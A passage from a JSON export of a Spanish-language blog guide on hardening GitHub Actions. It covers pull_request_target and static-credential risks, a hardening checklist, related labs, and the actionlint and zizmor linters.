un workflow <code>pull_request_target<\/code> concede al atacante acceso a los secretos del repositorio y permisos de escritura.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>Soluci\u00f3n:<\/strong> nunca hagas checkout de <code>github.event.pull_request.head.sha<\/code> en workflows <code>pull_request_target<\/code>. Usa en su lugar el patr\u00f3n de dos workflows.<\/p>\n\n<h3 class=\"wp-block-heading\">5. Credenciales de nube de larga duraci\u00f3n como secretos<\/h3>\n\n<p class=\"wp-block-paragraph\">Almacenar claves de acceso de AWS, JSON de service account de GCP o secretos de cliente de Azure como secretos de repositorio o de organizaci\u00f3n crea una exposici\u00f3n persistente de credenciales. Si estos secretos se filtran, el atacante tiene acceso a largo plazo a tus recursos de nube.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>Soluci\u00f3n:<\/strong> sustituye las credenciales est\u00e1ticas por workload identity federation con OIDC. Si no hay secretos que robar, no hay exposici\u00f3n de credenciales.<\/p>\n\n<h2 class=\"wp-block-heading\">Checklist de implementaci\u00f3n<\/h2>\n\n<p class=\"wp-block-paragraph\">Usa este checklist para fortalecer sistem\u00e1ticamente tus workflows de GitHub Actions. Cada elemento se corresponde con una secci\u00f3n de esta gu\u00eda:<\/p>\n\n<ul class=\"wp-block-list\">\n<li><strong>Permisos:<\/strong> establece los permisos por defecto del token de la organizaci\u00f3n\/repo en solo lectura.<\/li>\n<li><strong>Permisos:<\/strong> a\u00f1ade bloques <code>permissions:<\/code> expl\u00edcitos a cada workflow y job.<\/li>\n<li><strong>Pinning:<\/strong> fija todas las actions de terceros a SHAs de commit completos.<\/li>\n<li><strong>Pinning:<\/strong> configura Dependabot para el ecosistema <code>github-actions<\/code>.<\/li>\n<li><strong>Secretos:<\/strong> migra de los secretos de repositorio a secretos de environment con reglas de protecci\u00f3n.<\/li>\n<li><strong>Secretos:<\/strong> audita todos los workflows <code>pull_request_target<\/code> en busca de patrones de checkout inseguros.<\/li>\n<li><strong>OIDC:<\/strong> sustituye las credenciales de nube est\u00e1ticas por workload identity federation con OIDC.<\/li>\n<li><strong>OIDC:<\/strong> configura filtros de claim de subject para restringir el alcance del token (repo, rama, environment).<\/li>\n<li><strong>Runners:<\/strong> aseg\u00farate de que los runners autoalojados sean ef\u00edmeros (usa ARC o similar).<\/li>\n<li><strong>Runners:<\/strong> nunca asignes runners autoalojados a repositorios p\u00fablicos.<\/li>\n<li><strong>Actions:<\/strong> implementa una allowlist de actions a nivel de organizaci\u00f3n.<\/li>\n<li><strong>Actions:<\/strong> audita todas las actions de terceros antes de aprobarlas.<\/li>\n<li><strong>Inyecci\u00f3n:<\/strong> busca con grep <code>${{<\/code> en los bloques <code>run:<\/code> de todos los workflows y remedia los vectores de inyecci\u00f3n.<\/li>\n<li><strong>Cadena de suministro:<\/strong> implementa la firma de artefactos con Cosign\/Sigstore.<\/li>\n<li><strong>Cadena de suministro:<\/strong> genera procedencia SLSA para los artefactos de release.<\/li>\n<li><strong>Linting:<\/strong> a\u00f1ade <code>actionlint<\/code> y <code>zizmor<\/code> a tu pipeline de CI para detectar problemas autom\u00e1ticamente.<\/li>\n<li><strong>Environments:<\/strong> usa los Environments de GitHub con revisores obligatorios para los despliegues en producci\u00f3n.<\/li>\n<\/ul>\n\n<h2 class=\"wp-block-heading\">Labs relacionados<\/h2>\n\n<p class=\"wp-block-paragraph\">La teor\u00eda solo llega hasta cierto punto. Aplica lo que has aprendido en estos labs pr\u00e1cticos:<\/p>\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/lab-hardening-github-actions-workflows-permissions-pinning-secrets\/\">Lab: fortalecimiento de workflows de GitHub Actions \u2014 permisos, pinning y secretos<\/a> \u2014 implementa permisos de m\u00ednimo privilegio, fijado por SHA y un manejo seguro de secretos en un workflow real.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/lab-configuring-oidc-workload-identity-github-actions-aws-2\/\">Lab: configuraci\u00f3n de workload identity OIDC para GitHub Actions y AWS<\/a> \u2014 configura la autenticaci\u00f3n keyless entre GitHub Actions y AWS mediante federaci\u00f3n OIDC.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/lab-ephemeral-self-hosted-runners-actions-runner-controller-2\/\">Lab: runners autoalojados ef\u00edmeros con Actions Runner Controller<\/a> \u2014 despliega ARC sobre Kubernetes para ejecutar runners CI\/CD seguros y ef\u00edmeros.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/lab-detecting-malicious-github-actions-static-analysis-2\/\">Lab: detecci\u00f3n de GitHub Actions maliciosas con an\u00e1lisis est\u00e1tico<\/a> \u2014 usa herramientas de an\u00e1lisis est\u00e1tico para identificar patrones sospechosos y comportamientos maliciosos en actions de terceros.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/github-actions-security-cheat-sheet\/\">Cheat Sheet de seguridad de GitHub Actions<\/a> \u2014 referencia r\u00e1pida de permisos m\u00ednimos, patrones seguros y errores habituales.<\/li>\n<\/ul>\n\n<h2 class=\"wp-block-heading\">Herramientas para la seguridad de GitHub Actions<\/h2>\n\n<p class=\"wp-block-paragraph\">Automatiza la aplicaci\u00f3n de la seguridad con estas herramientas esenciales:<\/p>\n\n<h3 class=\"wp-block-heading\">actionlint<\/h3>\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/rhysd\/actionlint\" target=\"_blank\" rel=\"noopener\">actionlint<\/a> es una herramienta de an\u00e1lisis est\u00e1tico para los archivos de workflow de GitHub Actions. Detecta errores de sintaxis, discordancias de tipos, comandos de shell inv\u00e1lidos y problemas de seguridad como la inyecci\u00f3n de expresiones. Ejec\u00fatala en local y en CI para detectar problemas antes de que lleguen a producci\u00f3n:<\/p>\n\n<pre><code># Install and run\nbrew install actionlint\nactionlint .github\/workflows\/*.yml\n<\/code><\/pre>\n\n<h3 class=\"wp-block-heading\">zizmor<\/h3>\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/woodruffw\/zizmor\" target=\"_blank\" rel=\"noopener\">zizmor<\/a> es un linter de seguridad dedicado a GitHub Actions. A diferencia de los linters de prop\u00f3sito general, zizmor se centra espec\u00edficamente en los problemas de seguridad: inyecci\u00f3n de expresiones, actions sin fijar, permisos demasiado amplios, triggers peligrosos y m\u00e1s. Produce hallazgos accionables con calificaciones de severidad y orientaci\u00f3n para la remediaci\u00f3n:<\/p>\n\n<pre><code># Install and run\npip install zizmor\nzizmor .github\/workflows\/\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">Ambas herramientas deber\u00edan formar parte de tu pipeline de CI. Ejec\u00fatalas en cada PR que modifique archivos de workflow. Combinadas, detectan la gran mayor\u00eda de los problemas de seguridad habituales de GitHub Actions antes de que se fusionen (merge).<\/p>\n\n<h2 class=\"wp-block-heading\">Conclusi\u00f3n<\/h2>\n\n<p class=\"wp-block-paragraph\">La seguridad de GitHub Actions no es un \u00fanico interruptor de configuraci\u00f3n: es una defensa por capas que abarca permisos, dependencias, secretos, identidad, infraestructura e integridad de la cadena de suministro. Los ataques contra los pipelines CI\/CD aumentan en frecuencia y sofisticaci\u00f3n, y las organizaciones que traten la seguridad del pipeline como algo secundario ser\u00e1n las que acaben haciendo divulgaciones de brechas.<\/p>\n\n<p class=\"wp-block-paragraph\">La buena noticia es que cada mitigaci\u00f3n de esta gu\u00eda es accionable hoy mismo. Puedes establecer los permisos en solo lectura en cinco minutos. Puedes habilitar Dependabot para el fijado de actions en un solo commit. Puedes migrar de las credenciales est\u00e1ticas a OIDC en una tarde. Y puedes desplegar runners ef\u00edmeros antes de que acabe la semana.<\/p>\n\n<p class=\"wp-block-paragraph\">Empieza por el checklist de implementaci\u00f3n de arriba. Trabaja con los labs. Ejecuta actionlint y zizmor sobre tus workflows existentes y corrige lo que detecten. Cada paso de fortalecimiento que des eleva el coste para los atacantes y reduce tu riesgo.<\/p>\n\n<p class=\"wp-block-paragraph\">Tu pipeline CI\/CD es un sistema de producci\u00f3n. Aseg\u00faralo como tal.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>GitHub Actions se ha convertido en la plataforma CI\/CD m\u00e1s adoptada del mundo. Con m\u00e1s del 90 % de los repositorios de GitHub capaces de usarla de forma nativa, impulsa desde simples comprobaciones de linting hasta complejos despliegues multicloud. Pero esa ubicuidad la convierte en la superficie de ataque CI\/CD m\u00e1s atacada del desarrollo de &#8230; <a title=\"Seguridad de GitHub Actions: La Gu\u00eda Definitiva\" class=\"read-more\" href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/github-actions-security-definitive-guide\/\" aria-label=\"Leer m\u00e1s sobre Seguridad de GitHub Actions: La Gu\u00eda Definitiva\">Leer m\u00e1s<\/a><\/p>\n","protected":false},"author":1,"featured_media":1276,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[55,56],"tags":[],"post_folder":[],"class_list":["post-593","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ci-cd-security","category-github-actions"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/593","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/comments?post=593"}],"version-history":[{"count":9,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/593\/revisions"}],"predecessor-version":[{"id":1588,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/593\/revisions\/1588"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/media\/1276"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/media?parent=593"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/categories?post=593"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/tags?post=593"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/post_folder?post=593"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}